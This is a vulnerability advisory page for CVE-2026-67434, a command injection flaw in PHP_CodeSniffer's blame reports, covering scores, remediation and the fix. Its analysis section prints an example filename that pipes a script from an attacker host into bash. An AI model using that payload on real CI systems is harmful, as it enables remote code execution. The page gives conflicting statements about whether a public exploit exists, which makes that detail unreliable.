Which versions of PHP_CodeSniffer are affected by CVE-2026-67434?

PHP_CodeSniffer versions prior to 3.13.6 (v3) and 4.0.2 (v4) contain a command injection vulnerability in their Gitblame, Hgblame, and Svnblame report generators that allows attackers to execute…. A patch is available.

Is there a public PoC exploit available for CVE-2026-67434?

Yes, a public proof-of-concept exploit is available for CVE-2026-67434. Prioritise patching immediately. EPSS: 0.7%.

How to fix or mitigate CVE-2026-67434?

Within 24 hours, identify all systems running PHP_CodeSniffer (v3 or v4) and audit recent pull requests for suspicious file names or evidence of exploitation in CI/CD logs. Within 7 days, upgrade to PHP_CodeSniffer 3.13.6 (v3 branch) or 4.0.2 (v4 branch) across all development and CI/CD environments. Within 30 days, implement file name validation rules in pull request workflows and review CI/CD runner logs from the past 90 days for anomalous command execution correlated with CodeSniffer activity.

PHP_CodeSniffer CVE-2026-67434

Q: What is the CVSS score of CVE-2026-67434?

CVE-2026-67434 has a CVSS 4.0 base score of 7.3 (High). CVSS vector: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.7%.

EUVD-2026-54170 HIGH

OS Command Injection (CWE-78)

2026-08-06 https://github.com/PHPCSStandards/PHP_CodeSniffer

GHSA-hmqg-cxww-wqhq

Command Injection

7.3

CVSS 4.0 · Vendor: https://github.com/PHPCSStandards/PHP_CodeSniffer

Severity by source

Vendor (https://github.com/PHPCSStandards/PHP_CodeSniffer) PRIMARY

7.3 HIGH

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

vuln.today AI

7.8 HIGH

AV:L because execution occurs locally on the PHPCS host; PR:N since attacker needs no account on that host; UI:R because a developer or CI job must actively invoke the blame report against the malicious file.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

4.0 AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/PHPCSStandards/PHP_CodeSniffer).

CVSS VectorVendor: https://github.com/PHPCSStandards/PHP_CodeSniffer

Attack Vector

Local

Attack Complexity

Low

Privileges Required

None

User Interaction

Scope

Lifecycle Timeline

Analysis Updated

Aug 06, 2026 - 22:33 vuln.today

v2 (cvss_changed)

Re-analysis Queued

Aug 06, 2026 - 22:22 vuln.today

cvss_changed

CVSS changed

Aug 06, 2026 - 22:22 NVD

7.3 (HIGH)

Source Code Evidence Fetched

Aug 06, 2026 - 22:01 vuln.today

Analysis Generated

Aug 06, 2026 - 22:01 vuln.today

CVE Published

Aug 06, 2026 - 21:31 cve.org

HIGH

DescriptionCVE.org

Impact

PHP_CodeSniffer versions before v3.13.6 and v4.0.2 contain a command injection vulnerability in the code creating the Gitblame, Hgblame and Svnblame report(s).

As a result, running PHP_CodeSniffer over untrusted files, for example, in a CI pipeline that scans pull requests, or on a developer machine reviewing third-party code, could result in attacker-controlled shell commands being executed when the Gitblame, Hgblame or Svnblame report(s) would process a file whose name contains shell metacharacters.

Users using the default Full report, or any of the other non-*blame reports, are not affected.
Users on a runtime platform which does not allow filenames to contain shell metacharacters, such as " and ;, are not affected.

Patched versions

The issue has been fixed in PHP_CodeSniffer v3.13.6 and v4.0.2. We recommend all users upgrade to these versions at their earliest convenience.

Workaround

Users of PHP_CodeSniffer who cannot upgrade immediately should ensure they do not use the Gitblame, Hgblame or the Svnblame reports when scanning untrusted code.

This is especially relevant for CI jobs, pre-commit or review tooling, automated review services, and any service that scans untrusted repositories or uploaded source trees.

Credits

Many thanks to both @Faze-up and @edorian for responsibly disclosing this vulnerability.

How can I report a security bug?

Please report security vulnerabilities privately via the "Security and quality" tab on the PHP_CodeSniffer repository.

AnalysisAI

Command injection in PHP_CodeSniffer's Gitblame, Hgblame, and Svnblame report generators allows arbitrary shell command execution on the host running the tool when it processes files with shell-metacharacter-containing names. Versions before 3.13.6 (v3 branch) and 4.0.2 (v4 branch) are affected. This is especially impactful in CI/CD pipelines scanning untrusted pull requests, where an attacker can submit a file named with embedded shell commands (e.g., $(curl attacker.com/shell.sh|bash).php) and trigger execution on the CI runner - no public exploit confirmed at time of analysis, but the fix diff and advisory make the injection mechanism fully public.

Technical ContextAI

PHP_CodeSniffer (composer package squizlabs/php_codesniffer) is a widely-used PHP code quality tool that enforces coding standards. Its blame reports - Gitblame, Hgblame, and Svnblame - annotate output by invoking VCS blame binaries via PHP shell execution. The root cause (CWE-78: OS Command Injection) is that filenames were interpolated directly into shell command strings using only double-quote wrapping, without sanitization. For example, Gitblame constructed: git blame --date=short " + basename($filename) + " 2>&1. A filename containing $(command) bypasses double-quote containment via command substitution, and filenames starting with - could be treated as flags. The fix in PR #1473 applies PHP's escapeshellarg() to all three report files and adds the -- end-of-options separator for git blame, correctly neutralizing both injection vectors.

RemediationAI

Upgrade PHP_CodeSniffer to v3.13.6 (v3 branch) or v4.0.2 (v4 branch), which apply escapeshellarg() to filenames in all three blame report files and add the -- end-of-options separator for git blame, as detailed in PR #1473 (https://github.com/PHPCSStandards/PHP_CodeSniffer/pull/1473). These are the exact fix versions confirmed by the vendor advisory GHSA-hmqg-cxww-wqhq. For teams unable to upgrade immediately, the vendor-recommended workaround is to avoid specifying --report=Gitblame, --report=Hgblame, or --report=Svnblame in any PHPCS invocation that processes untrusted code - switching to the default Full report or any other non-blame report type completely eliminates the attack surface without requiring a version change. This workaround requires auditing all CI job definitions, pre-commit hook scripts, and automated review service configurations to confirm no blame report types are in use. Note that the workaround does not protect against future accidental re-introduction of blame reporting, making the upgrade the preferred long-term fix.